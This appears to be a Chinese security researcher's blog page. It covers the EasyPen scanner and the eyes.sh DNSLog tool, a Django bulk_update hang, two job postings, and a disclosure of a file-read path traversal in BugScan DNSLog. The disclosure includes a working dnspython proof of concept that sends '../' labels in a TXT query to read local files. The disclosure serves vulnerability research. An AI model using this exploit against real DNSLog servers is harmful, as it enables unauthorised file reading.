安全工具 EasyPen alpha 1.0 发布

最初计划写EasyPen这个工具,是因为笔者认为

  • 单机性能已经非常强大,哪怕是在家庭网络下,发包速率也非常可观
  • 一般漏洞的应急,在已具备资产发现能力的情况下,写十几行代码扫全网,应该可以非常快,几分钟或者几十分钟就可以完成上万服务的扫描
  • 提供一个简单的图形化工具,给白帽子或者安全团队内部同事使用。平时本机验证一下漏洞比较方便,不用各个脚本切来切去

EasyPen是使用Python + wxPython编写、提供简洁图形界面、支持跨平台的安全扫描工具,可用于企业内外网巡检、应急响应。项目地址:https://github.com/lijiejie/EasyPen

在线文档:https://easypen.lijiejie.com

它的主要功能包括:

  • 资产发现:域名、IP、端口、服务等
  • 漏洞扫描:基于AsyncIO实现的扫描框架,内置超过100个漏洞检测插件,支持调度Hydra/Medusa/Ncrack等工具扫描常见弱口令
  • 应急响应:高危漏洞爆发后,依托框架和现成资产库,通常只需要编写十余行检测逻辑代码,就可以在几分钟内完成对数千目标的扫描
  • 集成了多个漏洞利用工具
扫描界面
漏洞工具界面

功能特性

  • 本工具使用AsyncIO实现了高并发扫描,扫描核心是单线程的,并发扫描任务可超过1000个
  • 本工具优化了DNS Log 检测方法,扫描器维护域名映射关系表,因此,无论扫描过程中投递过多少个子域名,最终都只需要最多2个HTTP请求验证。另外,由于DNS Log在传递链路上的触发需要一定时间,因此,把查询验证放到最后,也消除了不必要的等待,降低漏报的可能性
  • 本工具提供易用的图形界面,通过关键词筛选目标(例如服务、端口号、IP等),即可立即发起大范围扫描
  • 本工具支持多种输入格式,支持输入 10.1.1.1/16  10.1.1.2/10:80 www.lijiejie.com/31 等目标发起检测

安装使用

笔者同时使用了 Windows  / CentOS / Ubuntu 作为开发环境进行测试。目前测试覆盖不全,应该还有一些坑。请大家在Github上创建Issue反馈。
对于熟悉python的高级用户而言,建议抓取代码后pip install

如果是Windows用户,并且希望绕过繁琐的安装步骤。则可以下载笔者已经生成的exe文件。下载直接运行其中的 EasyPen.exe 即可

https://github.com/lijiejie/EasyPen/releases

为了能够完整使用扫描器,还需要配置好DNS Log地址,域名列表等。请参考用户文档。

开发计划

目前Alpha 1.0 只完成了基础的框架,待开发完善的功能

  • 适配支持各种类型的DNSLog平台
  • 集成web指纹识别功能,标签功能(Server / Shiro / PHP / Java 等),可视化预览
  • 维护预置扫描模板(插件集合名称)
  • 添加第三方插件的执行支持,如:python / YAML 插件,支持复用其他开源项目插件
  • 简易插件编辑和调试功能
  • 漏洞查看界面一键复核验证功能(漏洞依然存在则高亮显示)
  • 优化暴力破解相关,包括字典维护
  • BBScan插件的集成
  • 扫描性能持续提升
  • 重构代码便于其他贡献者增加工具、插件

开源DNSLog工具eyes.sh

背景

eyes.sh 是一个用来辅助安全测试和漏扫工具的DNS Log / HTTP Log检测工具,基于 BugScan DNSLog 优化。 感谢四叶草安全、感谢坤哥 🙂 。

  • 公司内部扫描器每天产生数百万次DNS Log接口调用
  • 因为某些原因,DNSLog服务部署在低配置的海外VPS,成为了扫描系统的一个瓶颈

在这个背景之下,我们对DNSLog服务做了一些简单的优化。

增强的功能

  • 更加友好的分页、删除、查看指定IP,增加搜索功能,增加显示IP定位、显示Request Headers、捕获Request Body
  • 支持监控新记录自动刷新(可以关键词过滤,关注特定目标或特定漏洞)
  • 支持DNS重绑定
  • 接口优化,增加支持Group DNS查询,减少扫描器的接口调用次数
    • 例如,扫描器先以 (主机名+任务ID)做DNS前缀,投递完所有payloads,任务结束时,通过单个查询,检查是否有漏洞被触发
  • API接口域名TTL为0,导致过多无意义查询,修正为1200
    • 原来每次API请求都将产生额外的DNS查询
  • 增加了注册、一键生成随机域名、简单管理开关、简单登录锁定等
  • 数据库优化,后端使用MySQL ,增加索引,数百万记录下查询性能较好

有兴趣的同学可以部署试试:   

https://github.com/lijiejie/eyes.sh

http://eyes.sh    

  • 演示账号 demo / demo@pass,请注意,该账号删除功能无效
  • 也可以在登录页面中选择 创建随机ID并登录
DNSLog
Web Log

关注我的微信公众号,获取更多扫描器代码

Django bulk_update可能卡死问题

在一个多年前的历史项目中,我们发现,django cron job出现了卡死现象。 应用逻辑没有被完整执行直到结束,程序已经僵死了。

调试分析卡死的Python进程,请参考: https://wiki.python.org/moin/DebuggingWithGdb

通过调试进程,我们发现应用卡死在了

Domain.objects.bulk_update(update_domain_list, [‘ips_from_fuxi’])

如下图所示:

回到源代码中,在上下文找到了原因,原来,需要bulk update的列表,没有在循环体内部正确被初始为空。 需要update的列表出现了持续增长,最终导致bulk update 超大的列表,卡死应用程序。

正确初始化列表,即可解决bulk update hung死的问题。

爱奇艺招聘【高级/资深安全工程师】 2022-01

工作职责
1. 主导SDL流程:业务安全评估、安全加固、渗透测试
2. 持续优化内部扫描服务: 白盒代码扫描服务、云扫描服务
3. 参与应急响应流程:获取情报、分析情报、高效响应处置。持续完善内部自动化应急响应流程,参与工具和平台建设
4. 主导爱奇艺内部的攻防演练工作,促进防护能力建设提升
5. 办公网安全:域控、邮箱、海量终端设备、关键办公系统的防护、加固、渗透
6. 持续跟踪爱奇艺核心业务的安全风险,参与黑产对抗

工作要求
1. 渗透测试经验丰富,各大SRC TOP白帽子优先,可以从黑客视角分析系统弱点,从甲方防御视角制定低成本防护方案
2. 能够开发小工具或平台,至少熟练掌握一门编程语言:Python/Go/Java等
3. 能够开发维护一定规模的Python Django Web工程
4. 熟悉Java Web安全、Android / iOS安全优先
5. 能够对白盒扫描报告中漏洞,进行人工审计,支持业务修复代码中的漏洞。 常见开发语言:Python/Go/Java/C++。

加入我们,一起
1. 保护数十万服务器、上万个代码工程的安全。工程复杂度足够高
2. 积累丰富的反入侵、应急事件响应经验
3. 积累大量不同类型漏洞的经验
4. 参与爱奇艺内部高度自动化的安全扫描、检测、响应系统的建设

欢迎投递简历: lijiejie[at]qiyi.com

招聘安全实习生(北京-中关村) 2021-06

招聘安全实习生,欢迎投递简历。

地点: 北京 – 中关村

基本要求:

1. 理解常见web漏洞:SQL注入、XSS、CSRF、SSRF、上传漏洞、代码(命令)执行、常见业务逻辑缺陷等

2. 熟练使用常见的安全工具: awvs sqlmap nmap burpsuite appscan等

3. 有一定的渗透测试经验,了解常见漏洞的发现、利用、原理、修复

4. 熟练使用一门脚本语言Python、Go等, 熟悉 Linux(shell scripts)。

5. 有Android/iOS客户端漏洞挖掘经验可加分,  熟悉主流web框架可加分,  有代码安全审计经验可加分

实习期间工作内容:

渗透测试    安全评估


投递邮箱: lijiejie[at]qiyi.com

BugScan DNSLog中的一处文件遍历漏洞

https://github.com/BugScanTeam/DNSLog 是一个漏洞检测用的 DNSLog 程序。目前这个项目已经归档,不再更新了。

在其DNS解析的代码中,存在如下片段(可能是开发在测试的时候无意间写入)

https://github.com/BugScanTeam/DNSLog/blob/master/dnslog/zoneresolver.py

if qtype == 'TXT':
    txtpath = os.path.join(tempfile.gettempdir(), str(qname).lower())
    if os.path.isfile(txtpath):
	reply.add_answer(
	    RR(qname, QTYPE.TXT, rdata=TXT(open(txtpath).read().strip())))

可以看到,程序会尝试读取临时文件夹下以qname参数命名的文件,返回TXT记录。然而,qname参数是攻击者可控的的任意字符串。攻击者可以通过 .. 来跨目录,实现读取任意文件。

不过,分析后发现这里利用条件较为苛刻: 首先,命令行工具不允许出现两个点 .. 这样的空Label畸形DNS查询(攻击者可以自己编程发送畸形请求)。同时,发现qname其实是一个dnslib.label.DNSLabel对象, str(qname) 会自动在字符串后面追加一个分隔符 “.” , 这是TXT记录常见的字符串表示。 见 dnslib\label.py

def __str__(self):
    return ".".join([ s.decode() for s in self.label ]) + "."

上述str函数让这个文件读取漏洞的利用价值大打折扣,因为在python的open函数中,无法通过像\x00截断、回车换行符截断,或者是web server用问号带参数的形式,实现截断掉多余的点号。 但是,在Windows下,读取文件的时候,多一个点号也是能读取成功的。 也即: 读 C:\1.txt. 能直接读取到 C:\1.txt 的内容。 所以,虽然是一个鸡肋漏洞,但还是可以成功演示其利用过程。已知在我的Windows系统中, 存在 C:\InstallConfig.ini,编写如下利用代码:

import dns.query


qname = dns.name.Name(('.', './', './', './', './', './', './', './', './InstallConfig.ini'))
_qname = qname.concatenate(dns.name.root)
request = dns.message.make_query(_qname, 'TXT', 1)
request.use_edns(-1, 0, 0)
response = dns.query.udp(request, '127.0.0.1', 10.0, 53, source=None, source_port=0)
print(response)
Windows读取C:\ 文件

如图所示,成功读取到C:\InstallConfig.ini 的内容。 [Install] 后面的内容为该文件内容。

下面示例在Linux系统下读取文件。 为了证明,创建一个 /test.txt. 文件,写入一段文字。改变上述代码中的文件路径

qname = dns.name.Name(('./', './', './', './', './', './', './', './test.txt'))

如图所示,成功读取了 /test.txt. 文件的内容。

可见,文件读取漏洞存在,但因为str函数的表示,让漏洞利用价值较低。 在Windows下可以读取更多文件,但Linux下无法截断点号,暂时只能读取点号. 结尾的文件。